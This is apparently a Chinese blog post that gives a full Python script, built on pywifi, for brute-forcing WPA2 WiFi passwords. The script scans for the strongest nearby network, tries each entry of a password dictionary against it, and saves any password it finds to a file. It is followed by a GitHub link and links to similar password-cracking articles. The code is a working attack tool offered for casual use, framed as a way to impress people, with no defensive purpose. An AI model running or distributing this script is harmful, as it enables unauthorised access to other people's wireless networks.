import time
# 破解wifi库
import pywifi
from pywifi import const class PoJie(object): def __init__(self, path):
# wifi密码字典文件
self.file = open(path, 'r', errors='ignore')
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 抓取第一个网卡
self.iface = wifi.interfaces()[0]
# 测试连接时断开所有的链接
self.iface.disconnect()
time.sleep(1)
self.alist = self.initialssidnamelist()
# 测试是否处于断开状态
# assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def bies(self):
# 扫描
self.iface.scan()
# 获取扫描结果
bessis = self.iface.scan_results()
alist = []
for data in bessis:
alist.append((data.ssid, data.signal))
# 按信号强度排序
return len(alist), sorted(alist, key=lambda st: st[1], reverse=True) def getsignal(self):
while True:
# 获取所有的wifi
n, data = self.bies()
time.sleep(1)
if n is not 0:
# 如果数量不为0,返回前10个信号最好的
return data[0:1] def initialssidnamelist(self):
ssidlist = self.getsignal()
namelist = []
# 获取前10个wifi的名称
for item in ssidlist:
print(item[0])
namelist.append(item[0])
return namelist def readPassword(self, ssidname, myStr):
# 测试wifi名和密码是否匹配
bool1 = self.test_connect(myStr, ssidname)
if len(myStr) < 8:
return False
if bool1:
# 保存密码和wifi名到文件中
save_password_to_file(myStr, ssidname)
print('------------------------------------------------密码正确: ' + myStr + '-----' + ssidname)
return True
else:
print('密码错误: ' + myStr + ' ' + ssidname)
return False def test_connect(self, findStr, ssidname):
"""
测试连接
:param findStr: 密码
:param ssidname: wifi名
"""
# 创建wifi链接文件
profile = pywifi.Profile()
# wifi名称
profile.ssid = ssidname
# 开放网卡
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密码
profile.key = findStr
# 删除所有的wifi文件
self.iface.remove_all_network_profiles()
# 设置新的链接文件
tmp_profile = self.iface.add_network_profile(profile)
# 连接
self.iface.connect(tmp_profile)
time.sleep(2)
# 判断是否已经连接上
if self.iface.status() == const.IFACE_CONNECTED:
isOk = True
else:
isOk = False
self.iface.disconnect()
time.sleep(1)
# 检查断开状态
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOk def run(self):
while True:
myStr = self.file.readline()
for ssidname in self.alist:
ret = self.readPassword(ssidname, myStr)
if ret:
raise FileExistsError def __del__(self):
self.file.close() def save_password_to_file(myStr, ssidname):
with open('password.txt', 'a') as fp:
fp.write(str(myStr) + '-->' + str(ssidname)) if __name__ == '__main__':
# 密码字典文件所在路径
path = 'D:\WIFI密码字典.txt'#此处是wifi密码字典文件的位置
start = PoJie(path)
start.run()

程序github地址:https://github.com/a15058713697/python-get-wifi-password

如果好用请给个star

python暴力破解wifi密码程序的更多相关文章

  1. 分享一个撩妹、装13神技能,0基础用Python暴力破解WiFi密码

    WiFi密码Python暴力破解   Python密码破解部分截图 获取视频资料,转发此文+点击喜欢,然后获取资料请加Python交流群:580478401,就可以获取视频教程+源码 环境准备: py ...

  2. python暴力破解压缩包密码

    啥也不说,直接上代码 #-*-coding:utf-8-*- import zipfile #生成1-999999的数字密码表, 要是有别的密码类型,对密码表改造一下就可以了,也可以上网下载某些类型的 ...

  3. 如何用python轻松破解wifi密码( 源码 )

    摘要: 我得说明下这个东西一点都不高端,甚至看起来有点糟糕.而且用的是单线程~,因为过几天要搬家了,于是.. 环境准备 python2.7 凑合的linux 差不多的无线网卡 pywifi模块 弱口令 ...

  4. Python最新暴力破解WiFi,攻破所有密码限制,最强破解!

    暴力破解wifi密码 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是P ...

  5. 怎么破解Wifi密码

    破解无络网络Wifi密码,让手机上Wifi不再受限. 方法/步骤 1 上网搜索并下载“Wfi万能钥匙”APK程序,然后将其安装到手机内存中.可以借助手机类管理软件将APK应用安装到手机中. 步骤阅读 ...

  6. 用 Python 破解 WiFi 密码

    如今,WiFi 跟我们的生活息息相关,无处不在.没有 WiFi 的地方是没有灵魂的! ​ 然而,比没有WiFi更让人绝望的,是有满格WiFi信号却没有密码…… ​ 今天我们就来尝试下,如何利用pyth ...

  7. 牛逼了,用Python破解wifi密码

    Python真的是无所不能,原因就是因为Python有数目庞大的库,无数的现成的轮子,让你做很多很多应用都非常方便.wifi跟我们的生活息息相关,无处不在.今天从WiFi连接的原理,再结合代码为大家详 ...

  8. Python破解Wifi密码思路

    一.前言说明 本机运行环境:系统环境Win10,运行环境Python3.6,运行工具Pycharm 需要Python的包有:pywifi 这是一种暴力破解wifi的模式,需要的时间比较长,本文主要提供 ...

  9. python 暴力破解密码脚本

    python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...

随机推荐

  1. Codeforces 174B【模拟构造】

    题意: 给你一个串只有小写字母和点,让你构造前缀是1-8,后缀是1-3长度的文件名: 思路: 那么以"."作为分割点,把字符串都拿出来,然后 首段长度<=8 OK; 中间&l ...

  2. CodeForces691C 【模拟】

    这一题的模拟只要注意前后导零就好了... 感受就是... 如果是比赛中模拟题打好..要盯着注意点,测试不同的情况下的注意点..起码要针对性测试10分钟.. 还是蛮简单的,但是自己打烦了,应该,队友代码 ...

  3. Unity UGUI鼠标穿透UI问题(Unity官方的解决方法)

    简述 最近在用UGUI的时候遇到了鼠标穿透的问题,就是说在UGUI和3D场景混合的情况下,点击UI区域同时也会 触发3D中物体的鼠标事件.比如下图中 这里给Cube加了一个鼠标点击改变颜色的代码,如下 ...

  4. 3DMAX 6 游戏特效制作

    3d主要是粒子系统为主,一个特效可能包含多个粒子系统,需要注意粒子系统尽量减少多余参数,材质shader在手机上要经过优化 另外可以使用面片加脚本实现滚动效果,比如瀑布等等 具体方法以后补充,占位

  5. MySQL 派生表(Derived Table) Merge Optimization

    本文将通过演示告诉你:MySQL中派生表(Derived Table)是什么?以及MySQL对它的优化. Background 有如下一张表: mysql> desc city; +------ ...

  6. 常用SQL语句写法(一)

    <resultMap id="userResult" type="com.cloudwalk.shark.model.User"> <id p ...

  7. PostgreSQL - 查询表结构和索引信息

    前言 PostgreSQL的表一般都是建立在public这个schema下的,假如现在有个数据表t_student,可以用以下几种方式来查询表结构和索引信息. 使用\d元命令查看表字段信息和索引信息 ...

  8. Sublime text3 插件ColorPicker(调色板)不能使用快捷键

    我的原因是: convertToUTF8 和 ColorPicker 快捷键冲突,convertoUTF8的默认转换GBK的快捷键 和 ColorPicker打开调色板的快捷键都是ctrl+shift ...

  9. UWP 基本控件

    -------持续更新 updated 2017.11.8---------------------- 一:TextBlock 文本显示框 1. IsTextSelectionEnabled属性  值 ...

  10. 20180607pip install xxx报错SyntaxError invalid syntax

    用pip安装时都要在cmd命令行里启动的,而在python中无法运行.退出python运行环境就再执行pip可以了.而且最好用管理员身份运行cmdC:\WINDOWS\system32>cd D ...